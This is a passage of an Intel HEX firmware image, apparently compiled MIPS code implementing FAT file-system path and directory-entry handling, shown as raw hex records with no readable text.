0000077\n:1022f000448082930a004010000000003241400fe9\n:102300000000000006004010000000000900022448\n:10231000388182a3ffff02248949400b000000009e\n:102320003000c28f0400428c1800c2af3000c28f50\n:102330001800c38f080043ac3000c28f1400428cd9\n:102340001800c2af1000c38f1800c28f2b104300bb\n:1023500006004010000000001f000224388182a304\n:10236000ffff02248949400b000000003000c38faa\n:10237000180062908410027c180062a01000c38fc5\n:102380003000c28f100043ac1000c38f1400c28f06\n:102390001d004488212880001a0045982110a000c3\n:1023a0001b006200f4014000101000001210000039\n:1023b0001c00c2af1000c38f1400c28f1d004488e0\n:1023c0001a0044981c00c28f1800820012200000de\n:1023d000231064001000c2af1000c28fffff433013\n:1023e0003000c28f0e0043a41400c28f230042901d\n:1023f0001c00c38f1b006200f4014000101000009d\n:10240000122800001800c5af1400c28f23004290ac\n:10241000211840001800c28f180062001c00c28ff3\n:1024200012180000231043001c00c2af1c00c28f12\n:10243000ffff43303000c28f0c0043a41800c28f4e\n:1024400054004010000000003000c48f1800c58ff9\n:102450004723400f000000002000c2a32000c293c9\n:102460004c004010000000002000c3933c000224f8\n:1024700043006214000000003000c28f1800428c3c\n:10248000010042301b004010000000003000c28fed\n:102490000400438c3000c28f080043ac1800c38f87\n:1024a0000100022408006210000000001800c28f22\n:1024b000ffff42243000c48f212840004723400ff3\n:1024c000000000002000c2a33000c48f21280000bb\n:1024d0002f37400f000000002e00401000000000c9\n:1024e0000f000224388182a3ffff02248949400b98\n:1024f000000000003000c28f0400438c3000c28f07\n:10250000080043ac1800c28fffff42243000c48f84\n:10251000212840004723400f000000002000c2a3f4\n:102520002000c29306004010000000000f000224ab\n:10253000388182a3ffff02248949400b000000007c\n:102540001400c28f1d004388212060001a004498a7\n:1025500021108000ffff43303000c28f0e0043a4e3\n:102560001400c28f23004290ffff4224ffff43303c\n:102570003000c28f0c0043a46549400b00000000ee\n:102580000f000224388182a3ffff02248949400bf7\n:10259000000000003000c28f0800428c1400c48f7d\n:1025a000212840006d3f400f000000001800c2af1e\n:1025b0003000c28f0c0042941c00c2af1800c38fc1\n:1025c0001c00c28f211062001800c2af408080af93\n:1025d000468080a31400c28f030043882128600036\n:1025e000000045982110a0001800c48f2128400049\n:1025f00001d6400f0000000006004014000000005b\n:102600001b000224388182a3ffff02248949400b6a\n:10261000000000001800c28f088082af388180a3bc\n:102620002110000021e8c0032c00bf8f2800be8fbe\n:102630003000bd270800e00300000000c8ffbd27f0\n:102640003400bfaf3000beaf21f0a0033800c4afec\n:102650003c00c5af1800c0af468080a33800c28fd1\n:1026600024004290010003241000431000000000e9\n:10267000030003241f004314000000003c00c28f2d\n:10268000801002001400c2af1000c0a3ff0f023c74\n:10269000ffff42341c00c2afff0f023cf8ff423480\n:1026a0002000c2afc649400b000000003c00c38fb1\n:1026b0002110600040100200211043001400c2af3e\n:1026c0001400c28fff004230010042301000c2a34c\n:1026d0001400c28f421002001400c2afffff023488\n:1026e0001c00c2aff80f02242000c2afc649400b45\n:1026f000000000003c00c28f401002001400c2af76\n:102700001000c0a3ffff02341c00c2aff8ff023468\n:102710002000c2af000000003800c28f0b004388c9\n:10272000080043983800c28f1d004488212880008b\n:102730001a0045982110a0001400c48f1b008200cd\n:10274000f40140001010000012100000211062007f\n:102750002400c2af3800c28f1d00438821206000d2\n:102760001a00449821108000ffff42241400c38ff8\n:10277000241062001400c2af0480838f2400c28f33\n:1027800070006214000000003800c28f24004390e3\n:102790000300022409006214000000001400c38f2b\n:1027a00000a0023c50084224211062000000428c2c\n:1027b0001800c2afb84a400b000000003800c28fba\n:1027c000240043900200022409006214000000006b\n:1027d0001400c38f00a0023c500842242110620064\n:1027e000000042941800c2afb84a400b000000003d\n:1027f0003800c28f2400439001000224b800621404\n:10280000000000001400c38f00a0023c50084224c6\n:1028100021106200000042901800c2af1000c29365\n:1028200004004010000000001800c28f02110200d6\n:102830001800c2af1400c28f010043243800c28fb9\n:102840001d004488212880001a0045982110a0000e\n:10285000ffff4224241062001400c2af1400c28f94\n:1028600020004014000000003c8082930c004010c7\n:10287000000000003800c48f212800002130000033\n:1028800001000724c64a400f000000000400401069\n:10289000000000001c00c28fc04a400b0000000076\n:1028a0002400c28f010042242120400000a0023ced\n:1028b0005008452401d6400f0000000006004014d7\n:1028c00000000000ffff0234048082af1c00c28fb2\n:1028d000c04a400b000000002400c28f01004224c7\n:1028e000048082af1400c38f00a0023c5008422431\n:1028f00021106200000042902800c2af1000c29375\n:1029000008004010000000002800c28f00110200e3\n:102910001800c38f211062001800c2afb84a400be4\n:10292000000000002800c28f0f0042300012020099\n:102930001800c38f211062001800c2afb84a400bc4\n:10294000000000003c8082930c004010000000005a\n:102950003800c48f21280000213000000100072426\n:10296000c64a400f000000000400401000000000b4\n:102970001c00c28fc04a400b000000002400c48f1e\n:1029800000a0023c5008452401d6400f0000000082\n:102990000600401400000000ffff0234048082aff4\n:1029a0001c00c28fc04a400b000000002400c28ff0\n:1029b000048082af3800c28f2400439003000224b9\n:1029c00009006214000000001400c38f00a0023c44\n:1029d00050084224211062000000428c1800c2af4f\n:1029e000b84a400b000000003800c28f240043901a\n:1029f0000200022409006214000000001400c38fca\n:102a000000a0023c500842242110620000004294c1\n:102a10001800c2afb84a400b000000003800c28f57\n:102a200024004390010002242d00621400000000e5\n:102a30001400c38f00a0023c500842242110620001\n:102a4000000042901800c2af1000c2930400401072\n:102a5000000000001800c28f021102001800c2af6f\n:102a60001400c28f010043243800c28f1d00448827\n:102a7000212880001a0045982110a000ffff422461\n:102a8000241062001400c2af1400c38f00a0023ce7\n:102a90005008422421106200000042902800c2af7a\n:102aa0001000c29308004010000000002800c28ff0\n:102ab000001102001800c38f211062001800c2af7d\n:102ac000b84a400b000000002800c28f0f004230bf\n:102ad000001202001800c38f211062001800c2af5c\n:102ae0001800c38f2000c28f2b1062000300401417\n:102af000000000002000c28f1800c2af1800c28f73\n:102b000021e8c0033400bf8f3000be8f3800bd27de\n:102b10000800e00300000000d0ffbd272c00bfaf7d\n:102b20002800beaf21f0a0033000c4af3400c5af11\n:102b30003800c6af2110e0003c00c2a33000c28fb5\n:102b400024004390030002240f00621000000000e4\n:102b50003000c28f24004390020002240a00621059\n:102b6000000000003000c28f2400439001000224c6\n:102b70000500621000000000ff0f023cffff42341e\n:102b80003b4c400b000000003000c28f24004290fc\n:102b90002118400003000224060062140000000017\n:102ba000ff0f023cffff42341c00c2aff04a400b53\n:102bb00000000000ffff02341c00c2af0000000054\n:102bc000468080a33c00c293260040100000000015\n:102bd0001000c0a30480828f1800c2af0f4b400bbf\n:102be000000000001800c48f00a0023c50084524db\n:102bf00021300000b6d8400f00000000040040144f\n:102c0000000000001c00c28f3b4c400b0000000085\n:102c10001000c293010042241000c2a33000c28ff2\n:102c200021004388212060001e004498211080006c\n:102c30001800c38f211062001800c2af3000c28f8d\n:102c4000220042901000c3932b106200e5ff401455\n:102c5000000000003c8080a3211000003b4c400b92\n:102c6000000000003000c28f2400429001000324c5\n:102c70000a00431000000000030003241500431461\n:102c8000000000003400c28f801002001400c2afa8\n:102c90001100c0a33a4b400b000000003400c38f6a\n:102ca0002110600040100200211043001400c2af48\n:102cb0001400c28fff004230010042301100c2a355\n:102cc0001400c28f421002001400c2af3a4b400bf6\n:102cd000000000003400c28f401002001400c2af98\n:102ce0001100c0a3000000003000c28f0b00438819\n:102cf000080043983000c28f1d00448821288000be\n:102d00001a0045982110a0001400c48f1b008200f7\n:102d1000f4014000101000001210000021106200a9\n:102d20002000c2af3000c28f1d0043882120600008\n:102d30001a00449821108000ffff42241400c38f22\n:102d4000241062001400c2af0480838f2000c28f61\n:102d500034006210000000003c8082932300401089\n:102d6000000000001000c0a30480828f1800c2afd2\n:102d7000744b400b000000001800c48f00a0023c00\n:102d80005008452421300000b6d8400f0000000054\n:102d900004004014000000001c00c28f3b4c400b9c\n:102da000000000001000c293010042241000c2a3e2\n:102db0003000c28f21004388212860001e00459802\n:102dc0002110a0001800c38f211062001800c2afac\n:102dd0003000c28f220042901000c3932b1062007b\n:102de000e5ff4014000000003c8080a32000c48f59\n:102df00000a0023c5008452401d6400f000000000e\n:102e00000600401400000000ffff0234048082af7f\n:102e10001c00c28f3b4c400b000000002000c28f02\n:102e2000048082af3000c28f24004390030002244c\n:102e30002a006214000000001400c38f00a0023cae\n:102e400050084224211062003800c38fff00633015\n:102e5000000043a01400c28f0100432400a0023ce4\n:102e600050084224211062003800c38f00ff6330f5\n:102e7000021a0300ff006330000043a01400c28f59\n:102e80000200432400a0023c5008422421106200aa\n:102e90003800c48fff00033c24188300021c030089\n:102ea000ff006330000043a01400c28f03004324de\n:102eb00000a0023c50084224211062003800c48f58\n:102ec000000f033c24188300021e0300ff00633040\n:102ed000000043a0384c400b000000003000c28fbf\n:102ee0002400439002000224140062140000000039\n:102ef0001400c38f00a0023c50084224211062003d\n:102f00003800c38fff006330000043a01400c28f5d\n:102f10000100432400a0023c50084224211062001a\n:102f20003800c38f00ff6330021a0300ff006330d4\n:102f3000000043a0384c400b000000003000c28f5e\n:102f40002400439001000224650062140000000088\n:102f50001400c38f00a0023c5008422421106200dc\n:102f6000000042901200c2a31100c2930c00401056\n:102f7000000000003800c28fff0042300011020044\n:102f8000ff0043301200c2930f004230ff00423076\n:102f9000251062001200c2a3ea4b400b00000000a3\n:102fa0003800c28f1200c2a31400c38f00a0023cdd\n:102fb00050084224211062001200c393000043a075\n:102fc0001400c28f010043243000c28f1d004488ca\n:102fd000212880001a0045982110a000ffff4224fc\n:102fe000241062001400c2af1400c28f1d004014f0\n:102ff000000000003000c48f2128000021300000b4\n:1030000001000724c64a400f0000000004004010e1\n:10301000000000001c00c28f3b4c400b0000000071\n:103020002000c28f010042242120400000a0023c69\n:103030005008452401d6400f00000000060040144f\n:1030400000000000ffff0234048082af1c00c28f2a\n:103050003b4c400b000000002000c28f01004224c6\n:10306000048082af1400c38f00a0023c50084224a9\n:1030700021106200000042901200c2a31100c2930e\n:1030800006004010000000003800c28f021102004c\n:103090001200c2a3324c400b000000003800c28f67\n:1030a00002120200ff0042300f004230ff004330a6\n:1030b0001200c493f0ff022424108200ff0042306b\n:1030c000251062001200c2a31400c38f00a0023cae\n:1030d00050084224211062001200c393000043a054\n:1030e000010002243c8082a32110000021e8c003db\n:1030f0002c00bf8f2800be8f3000bd270800e003e2\n:1031000000000000e8ffbd271400bfaf1000beaff5\n:1031100021f0a0031800c4af212000001800c58fc3\n:1031200021300000664c400f0000000021e8c00381\n:103130001400bf8f1000be8f1800bd270800e003e9\n:1031400000000000e0ffbd271c00bfaf1800beafad\n:1031500021f0a0032000c4af01000224488082af08\n:10316000212000002000c58f21300000664c400f58\n:10317000000000001000c2af488080af1000c28f76\n:1031800021e8c0031c00bf8f1800be8f2000bd27a0\n:103190000800e0030000000088ffbd277400bfaff7\n:1031a0007000beaf21f0a003211080007c00c5afed\n:1031b0008000c6af7800c2a31400c0a7010002249b\n:1031c0002800c2a77c00c28f1800c2af7c00c28f4b\n:1031d0001c00c2af2c00c2272000c2af0c80828f1f\n:1031e0002000c48f21284000403e400f0000000016\n:1031f000388180a34880828f0600401000000000c4\n:103200001c00c28f000042941000c2a7884c400be3\n:10321000000000001800c28f000042801000c2a70a\n:103220001000c29706004014000000001f00022496\n:10323000388182a3ffff0224e34e400b0000000010\n:103240001000c2972e000324060043100000000067\n:103250005c000324f900431000000000e94d400b1e\n:10326000000000004880828f09004010000000002c\n:103270001c00c28f020042241c00c2af1c00c28f7f\n:10328000000042941000c2a7aa4c400b00000000ae\n:103290001800c28f010042241800c2af1800c28f6c\n:1032a000000042801000c2a71000c3972e00022425\n:1032b000aa006214000000004880828f09004010bc\n:1032c000000000001c00c28f020042241c00c2af9c\n:1032d0001c00c28f000042941000c2a7bf4c400bdc\n:1032e000000000001800c28f010042241800c2af85\n:1032f0001800c28f000042801000c2a72000c28fb9\n:103300003c00438c2881828f06006214000000007c\n:103310001f000224388182a3ffff0224e34e400bea\n:10332000000000002000c28f3c00438c2000c28fb0\n:10333000400043ac010002242800c2a72800c22795\n:103340002000c48f2128400001000624e72f400ff1\n:10335000000000002400c2af2400c28f0600401409\n:10336000000000001b000224388182a3ffff02241a\n:10337000e34e400b000000002400c48f0227400fe2\n:1033800000000000211840002000c28f3c0043ac28\n:103390002000c28f3c00438c2000c28f400043ac11\n:1033a0002000c28f3c00428c1f004014000000002f\n:1033b0001200c0a71200c297010043241200c3a745\n:1033c0002000c38f211062005c000324200043a072\n:1033d000fe4c400b000000001200c2972000c38f7b\n:1033e0002110620020000324200043a01200c29795\n:1033f000010042241200c2a71200c2970b00422c07\n:10340000f5ff4014000000002881838f2000c28f48\n:10341000400043ac2881838f2000c28f3c0043ac26\n:10342000274d400b000000001200c0a71200c297f9\n:10343000010043241200c3a72000c38f21106200a3\n:103440002e000324200043a01200c2970100432451\n:103450001200c3a72000c38f211062002e00032496\n:10346000200043a0234d400b000000001200c29733\n:103470002000c38f2110620020000324200043a0fd\n:103480001200c297010042241200c2a71200c29784\n:103490000b00422cf5ff4014000000002800c0a7dc\n:1034a0002800c2272000c48f2128400001000624e4\n:1034b000e72f400f0000000006004014000000004d\n:1034c0001b000224388182a3ffff0224e34e400b3d\n:1034d00000000000484d400b000000004880828f33\n:1034e00009004010000000001c00c28f02004224ae\n:1034f0001c00c2af1c00c28f000042941000c2a783\n:10350000484d400b000000001800c28f010042240b\n:103510001800c2af1800c28f000042801000c2a77e\n:103520001000c3975c000224ecff62100000000052\n:103530001000c2973f004014000000000c80828ff2\n:10354000212040002000c58f403e400f00000000b9\n:1035500021100000e34e400b000000001000c29755\n:1035600009004014000000000c80828f21204000e0\n:103570002000c58f403e400f0000000021100000d9\n:10358000e34e400b000000001000c3975c000224d3\n:103590002300621400000000794d400b0000000081\n:1035a0004880828f09004010000000001c00c28f7c\n:1035b000020042241c00c2af1c00c28f00004294d3\n:1035c0001000c2a7794d400b000000001800c28f08\n:1035d000010042241800c2af1800c28f00004280d0\n:1035e0001000c2a71000c3975c000224ecff621019\n:1035f000000000001000c2970e0040140000000000\n:103600000c80828f212040002000c58f403e400f5b\n:103610000000000021100000e34e400b00000000fd\n:103620001f000224388182a3ffff0224e34e400bd7\n:1036300000000000e14e400b000000004880828f37\n:1036400009004010000000001c00c28f020042244c\n:103650001c00c2af1c00c28f000042941000c2a721\n:10366000a04d400b000000001800c28f0100422452\n:103670001800c2af1800c28f000042801000c2a71d\n:103680001000c3975c0002240600621400000000d2\n:103690001f000224388182a3ffff0224e34e400b67\n:1036a000000000001000c29720004014000000003d\n:1036b0000c80828f2881838f3c0043ac0c80828fea\n:1036c0002881838f400043ac1200c0a70c80838ff9\n:1036d0001200c297010044241200c4a72110620006\n:1036e0005c000324200043a0c44d400b00000000f8\n:1036f0000c80838f1200c2972110620020000324e7\n:10370000200043a01200c297010042241200c2a769\n:103710001200c2970b00422cf5ff4014000000007d\n:1037200021100000e34e400b000000002881838f31\n:103730002000c28f3c0043ac2881838f2000c28fc1\n:10374000400043ac1200c0a71200c29701004324fe\n:103750001200c3a72000c38f211062005c00032465\n:10376000200043a0e34d400b000000001200c29770\n:103770002000c38f2110620020000324200043a0fa\n:103780001200c297010042241200c2a71200c29781\n:103790000b00422cf5ff401400000000e14e400bee\n:1037a000000000001200c0a74880828f3700401040\n:1037b00000000000000202241400c2a70d4e400bbe\n:1037c000000000001200c297010043241200c3a7aa\n:1037d000212040001000c297201c027c00a0023c67\n:1037e000e815422421108200000043a01200c29775\n:1037f000010043241200c3a7212040001000c297fb\n:1038000002120200ffff4230201c027c00a0023c9a\n:10381000e815422421108200000043a01c00c28f42\n:10382000020042241c00c2af1c00c28f0000429460\n:103830001000c2a71000c2970a004010000000004c\n:103840001000c3975c000224060062100000000014\n:103850001200c3971400c2972b106200d9ff4014c6\n:10386000000000001200c297010043241200c3a709\n:103870002118400000a0023ce815422421106200fb\n:10388000000040a0434e400b000000000001022455\n:103890001400c2a7374e400b000000001200c29770\n:1038a000010043241200c3a7212040001000c2974a\n:1038b000201c027c00a0023ce8154224211082005a\n:1038c000000043a01800c28f010042241800c2afbc\n:1038d0001800c28f000042801000c2a71000c297db\n:1038e0000a004010000000001000c3975c00022492\n:1038f00006006210000000001200c3971400c29777\n:103900002b106200e5ff4014000000001200c29777\n:10391000010043241200c3a72118400000a0023c6c\n:10392000e815422421106200000040a01200c39755\n:103930001400c2972b1043001b0040100000000031\n:10394000634e400b000000004880828f0900401049\n:10395000000000001c00c28f020042241c00c2af05\n:103960001c00c28f000042941000c2a7634e400b9f\n:10397000000000001800c28f010042241800c2afee\n:103980001800c28f000042801000c2a71000c2972a\n:1039900005004010000000001000c3975c000224e6\n:1039a000e9ff62140000000000a0023ce815442476\n:1039b0002000c58f213000007644400f0000000039\n:1039c0000400401400000000ffff0224e34e400bff\n:1039d0000000000000a0023ca01344242000c58f7a\n:1039e000403e400f0000000000a0023ca013442411\n:1039f0002000c58f0100062421380000db1b400f8a\n:103a00000000000006004010000000000c0002242e\n:103a1000388182a3ffff0224e34e400b0000000028\n:103a200000a0023ca01342243a004294100042300d\n:103a300006004014000000001f000224388182a309\n:103a4000ffff0224e34e400b000000002000c28f65\n:103a50003400429414004014000000001200c0a77b\n:103a6000a64e400b000000001200c2971200c4973f\n:103a700000a0033ca013632421188300200063806e\n:103a80002000c48f21108200200043a01200c297a2\n:103a9000010042241200c2a71200c2970b00422c60\n:103aa000f1ff40140000000000a0023ca0134224db\n:103ab0000400438c2000c28f3c0043ac2000c28f26\n:103ac0003c00438c2000c28f400043ac1000c297e2\n:103ad00009004014000000000c80828f212040006b\n:103ae0002000c58f403e400f000000002110000064\n:103af000e34e400b00000000dc4e400b00000000d5\n:103b00004880828f09004010000000001c00c28f16\n:103b1000020042241c00c2af1c00c28f000042946d\n:103b20001000c2a7d14e400b000000001800c28f49\n:103b3000010042241800c2af1800c28f000042806a\n:103b40001000c2a71000c297090040140000000036\n:103b50000c80828f212040002000c58f403e400f06\n:103b60000000000021100000e34e400b00000000a8\n:103b70001000c3975c000224e1ff62100000000007\n:103b800000000000904c400b0000000021e8c00342\n:103b90007400bf8f7000be8f7800bd270800e0035f\n:103ba0000000000070ffbd278c00bfaf8800beafd3\n:103bb00021f0a0039000c4af9400c5af9000c28f65\n:103bc00005004010000000009400c28fffff42304b\n:103bd000f74e400b000000000a0002242400c2a798\n:103be00000a0023ca01342242800c2af1400c0a3ce\n:103bf0001600c0a71800c0a700a0023ce815422488\n:103c00002c00c2af388180a39000c28f0600401400\n:103c10000000000000a0023c941342241000c2af38\n:103c2000144f400b000000009000c28f1000c2af84\n:103c30009400c28f06004014000000001f00022400\n:103c4000388182a3211000005852400b0000000070\n:103c50002400c297ffff42241000c38f211062008e\n:103c60003000c2af0c80828f2800c48f2128400012\n:103c7000403e400f000000002800c28f200043801b\n:103c80002e00022406006214000000002800c28feb\n:103c9000210043802e000224050062100000000075\n:103ca0002800c28f340042948801401000000000b8\n:103cb0002800c28f3c00428c3400c2af01000224b5\n:103cc0003c00c2a72800c28f3c00438c2800c28f52\n:103cd000400043ac3c00c2272800c48f212840008c\n:103ce00001000624e72f400f000000001c00c2afb7\n:103cf0001c00c28f06004014000000001b000224bc\n:103d0000388182a3211000005852400b00000000af\n:103d10001c00c48f0227400f00000000248182afe6\n:103d20002481828f06004014000000002881838fc8\n:103d30002800c28f3c0043ac534f400b00000000f2\n:103d40002481838f2800c28f3c0043ac2800c28f9f\n:103d50003c00438c2800c28f400043ac3c00c0a70d\n:103d60003c00c2272800c48f2128400001000624ff\n:103d7000e72f400f000000001c00c2af1c00c28fe4\n:103d800006004014000000001b000224388182a3ba\n:103d9000211000005852400b000000001c00c48f8e\n:103da0000227400f00000000248182af844f400ba7\n:103db000000000003c00c29701004224ffff423097\n:103dc0003c00c2a73c00c2272800c48f2128400025\n:103dd00021300000e72f400f000000001c00c2afa0\n:103de0001c00c28f06004014000000001b000224cb\n:103df000388182a3211000005852400b00000000bf\n:103e00001c00c48f0227400f00000000248182aff5\n:103e10002481838f3400c28fe6ff6214000000000b\n:103e20002481838f3400c28f1000621400000000d0\n:103e30001c00c28f00004380e5ff0224ddff6210fa\n:103e4000000000001c00c28f0b00439008000224f9\n:103e5000d8ff6210000000001c00c28f0b004390ce\n:103e60000f000224d3ff6210000000004400c227ac\n:103e7000212040002800c58f403e400f0000000078\n:103e80003c00c297ffff4224ffff42303e00c2a722\n:103e90003e00c2272800c48f2128400021300000a6\n:103ea000e72f400f000000002000c2af4650400b3b\n:103eb000000000002000c28f010042904000c2a319\n:103ec0002000c28f020042904100c2a31600c287a8\n:103ed000010043241600c3a7401002002c00c38f2a\n:103ee000211062004000c397000043a42000c28f4d\n:103ef000030042904000c2a32000c28f0400429001\n:103f00004100c2a31600c287010043241600c3a7c4\n:103f1000401002002c00c38f211062004000c397a4\n:103f2000000043a42000c28f050042904000c2a3bd\n:103f30002000c28f060042904100c2a31600c28733\n:103f4000010043241600c3a7401002002c00c38fb9\n:103f5000211062004000c397000043a42000c28fdc\n:103f6000070042904000c2a32000c28f0800429088\n:103f70004100c2a31600c287010043241600c3a754\n:103f8000401002002c00c38f211062004000c39734\n:103f9000000043a42000c28f090042904000c2a349\n:103fa0002000c28f0a0042904100c2a31600c287bf\n:103fb000010043241600c3a7401002002c00c38f49\n:103fc000211062004000c397000043a41600c2877e\n:103fd000010043241600c3a7401002002c00c38f29\n:103fe000211062002000c38f0e006394000043a4e0\n:103ff0001600c287010043241600c3a74010020028\n:104000002c00c38f211062002000c38f1000639426\n:10401000000043a41600c287010043241600c3a772\n:10402000401002002c00c38f211062002000c38fbb\n:1040300012006394000043a41600c28701004324c9\n:104040001600c3a7401002002c00c38f211062008d\n:104050002000c38f14006394000043a41600c2879d\n:10406000010043241600c3a7401002002c00c38f98\n:10407000211062002000c38f16006394000043a447\n:104080001600c287010043241600c3a74010020097\n:104090002c00c38f211062002000c38f180063948e\n:1040a000000043a41600c287010043241600c3a7e2\n:1040b000401002002c00c38f211062002000c38f2b\n:1040c0001c006394000043a41600c287010043242f\n:1040d0001600c3a7401002002c00c38f21106200fd\n:1040e0002000c38f1e006394000043a43e00c297cb\n:1040f000ffff4224ffff42303e00c2a73e00c2271e\n:104100002800c48f2128400021300000e72f400ff5\n:10411000000000002000c2af2000c28f0b004390bf\n:104120000f0002240a006214000000002000c28f69\n:1041300000004390e500022405006210000000002a\n:104140002000c28f000042905aff4014000000007f\n:104150004400c2272800c48f21284000403e400f61\n:10416000000000001600c28721004014000000007b\n:104170001500c0a37250400b000000001500c28360\n:104180001500c3831c00c48f2118830000006380c6\n:104190002800c48f21108200200043a00c80848f4f\n:1041a0001500c2831500c3831c00c58f2118a3000e\n:1041b0000000638021108200200043a01500c2830c\n:1041c000010042241500c2a31500c2830b0042283f\n:1041d000eaff4014000000000c80828f340040a4ed\n:1041e0002800c28f340040a4ad50400b00000000f6\n:1041f0001600c3972800c28f340043a40c00022489\n:104200001500c2a39e50400b000000001600c3879b\n:104210001500c2832310620021184000ff7f023c7a\n:10422000ffff423421106200401002002c00c38fb7\n:1042300021106200000042940c00401400000000b5\n:104240001600c3971500c283ffff4230231062009f\n:10425000ffff4230ffff4224ffff43302800c28fa0\n:10426000340043a4a150400b000000001500c2839d\n:10427000ffff42241500c2a31500c283e3ff4104df\n:10428000000000000c80828f2800c38f34006394ec\n:10429000340043a42800c28f00a0033ce815632427\n:1042a000300043ac0c80828f00a0033ce8156324ef\n:1042b000300043ac2800c28f3400c38f3c0043acb5\n:1042c0002800c28f3400c38f400043ac2800c28f47\n:1042d000200043805c0002240500621400000000fe\n:1042e0002800c28f340042940f00401000000000ec\n:1042f0002800c28f340042940700401000000000e4\n:104300002800c28f3000428c000043945c000224dd\n:1043100005006210000000009400c38f0200022418\n:104320000a006214000000001000c28f5c00032429\n:10433000000043a01000c28f01004224000040a0f2\n:104340001000c28f5852400b000000001800c0a798\n:10435000d951400b000000002800c28f3400429465\n:1043600045004010000000002800c28f3400429435\n:1043700040100200ffff4230ffff4224ffff4230a7\n:104380001600c2a71951400b000000004c80828f1c\n:1043900018004010000000001800c28701004324ec\n:1043a0001800c3a71000c38f211862001600c2872f\n:1043b000ffff44241600c4a72120400000a0023cb7\n:1043c000e81542242110820000004280000062a013\n:1043d0001800c3872400c297220062140000000066\n:1043e0001800c0a7010002241400c2a31951400bf9\n:1043f000000000001600c38700a0023ce81542241c\n:1044000021106200000042801300401000000000f4\n:104410001800c287010043241800c3a71000c38fef\n:10442000211062001600c48700a0033ce815632435\n:104430002118830000006380000043a01800c38798\n:104440002400c29704006214000000001800c0a7f6\n:10445000010002241400c2a31600c287ffff4224f9\n:104460001600c2a71600c287c8ff41040000000062\n:10447000ad51400b000000000a0002241500c2a349\n:104480002551400b000000001500c283ffff4224ad\n:104490001500c2a31500c2832800c38f211062003b\n:1044a0002000438020000224f7ff6210000000007b\n:1044b0001500c283080042284a0040140000000092\n:1044c0005551400b000000001800c2870100432432\n:1044d0001800c3a71000c38f211862001500c28303\n:1044e000ffff44241500c4a32800c48f21108200bc\n:1044f00020004280000062a01800c3872400c297f9\n:1045000004006214000000001800c0a7010002248b\n:104510001400c2a34c80828f0e00401000000000e7\n:104520001800c287010043241800c3a71000c38fde\n:1045300021106200000040a01800c3872400c29729\n:1045400004006214000000001800c0a7010002244b\n:104550001400c2a31500c28308004228daff4010ed\n:10456000000000001800c287010043241800c3a700\n:104570001000c38f211062002e000324000043a00e\n:104580001800c3872400c2970400621400000000d2\n:104590001800c0a7010002241400c2a34c80828f1f\n:1045a00010004010000000001800c28701004324e2\n:1045b0001800c3a71000c38f21106200000040a0a4\n:1045c0001800c3872400c297060062140000000090\n:1045d0001800c0a7010002241400c2a37e51400ba2\n:1045e000000000007e51400b000000001500c28357\n:1045f000ffff42241500c2a31500c2832800c38f09\n:10460000211062002000438020000224f7ff621086\n:1046100000000000aa51400b000000001800c287f3\n:10462000010043241800c3a71000c38f21186200a3\n:104630001500c283ffff44241500c4a32800c48fc3\n:104640002110820020004280000062a01800c38771\n:104650002400c29704006214000000001800c0a7e4\n:10466000010002241400c2a34c80828f0e0040106f\n:10467000000000001800c287010043241800c3a7ef\n:104680001000c38f21106200000040a01800c387f3\n:104690002400c29704006214000000001800c0a7a4\n:1046a000010002241400c2a31500c283dbff4104f1\n:1046b000000000004c80828f0e00401000000000bf\n:1046c0001800c287010043241800c3a71000c38f3d\n:1046d00021106200000040a01800c3872400c29788\n:1046e00004006214000000001800c0a701000224aa\n:1046f0001400c2a31800c287010043241800c3a7f6\n:104700001000c38f211062005c000324000043a04e\n:104710001800c3872400c297040062140000000040\n:104720001800c0a7010002241400c2a32800c28ff1\n:104730003c00438c2800c28f400043ac2800c48f4b\n:104740007352400f000000000600401000000000ff\n:1047500008000224388182a3211000005852400b27\n:10476000000000002800c28f3c00438c2881828f0b\n:10477000f9fe6214000000001800c287ffff422407\n:104780001800c2a71600c0a71400c2934d00401025\n:10479000000000001800c2973800c2a70152400b69\n:1047a000000000001600c2871000c38f21106200b5\n:1047b000000042903a00c2a31600c2871000c38fc7\n:1047c000211062001800c3871000c48f21188300d5\n:1047d00000006380000043a01800c2871000c38f50\n:1047e000211062003a00c393000043a01800c28762\n:1047f000ffff42241800c2a71600c287010042240e\n:104800001600c2a71800c3871600c28723106200d3\n:10481000e4ff401c000000003800c2970100422461\n:10482000ffff42301600c2a73000c38f1000c28fb6\n:10483000231062001800c2a72852400b000000009d\n:104840001600c2871000c38f211062000000429042\n:104850003a00c2a31600c2871000c38f2110620065\n:104860001800c3871000c48f2118830000006380e4\n:10487000000043a01800c2871000c38f21106200ff\n:104880003a00c393000043a01800c287ffff4224f0\n:104890001800c2a71600c287010042241600c2a752\n:1048a0001800c3871600c28723106200e4ff401c73\n:1048b000000000003000c28f000040a05752400ba3\n:1048c000000000001800c2973800c2a74d52400bec\n:1048d000000000001600c2871000c38f2110620084\n:1048e000000042903a00c2a31600c2871000c38f96\n:1048f000211062001800c3871000c48f21188300a4\n:1049000000006380000043a01800c2871000c38f1e\n:10491000211062003a00c393000043a01800c28730\n:10492000ffff42241800c2a71600c28701004224dc\n:104930001600c2a71800c3871600c28723106200a2\n:10494000e4ff401c000000003800c2970100422430\n:104950001000c38f21106200000040a01000c28f21\n:1049600021e8c0038c00bf8f8800be8f9000bd2758\n:104970000800e00300000000e0ffbd271c00bfafff\n:104980001800beaf21f0a0032000c4af2400c5afc3\n:10499000010002244c8082af2000c48f2400c58f08\n:1049a000e94e400f000000001000c2af4c8080af05\n:1049b0001000c28f21e8c0031c00bf8f1800be8ffb\n:1049c0002000bd270800e0030000000080ffbd2795\n:1049d0007c00bfaf7800beaf21f0a0038000c4af61\n:1049e000010002242800c2a700a0023ce8154224ce\n:1049f0002000c2af2800c2278000c48f21284000b9\n:104a000001000624e72f400f000000001800c2af8d\n:104a10001800c28f0400401400000000ff000224b0\n:104a20001d54400b000000001800c48f0227400fe7\n:104a300000000000248182af2481828f1b0040147b\n:104a4000000000008000c28f5c000324200043a00f\n:104a50001000c0af9f52400b000000008000c38fc9\n:104a60001000c28f2110620020000324200043a008\n:104a70001000c28f010042241000c2af1000c28f8c\n:104a80000b004228f5ff4014000000002881838fae\n:104a90008000c28f3c0043ac2881838f8000c28f8e\n:104aa000400043ac1953400b000000002481828f6a\n:104ab0002400c2af2481838f8000c28f3c0043acae\n:104ac0002481838f8000c28f400043ac2800c2271e\n:104ad0008000c48f2128400001000624e72f400fea\n:104ae000000000001800c2af1800c28f040040147c\n:104af00000000000ff0002241d54400b00000000d5\n:104b00001800c48f0227400f00000000248182afec\n:104b10002481828f06004014000000002881838fca\n:104b20008000c28f3c0043accf52400b000000001d\n:104b30002481838f8000c28f3c0043ac8000c28f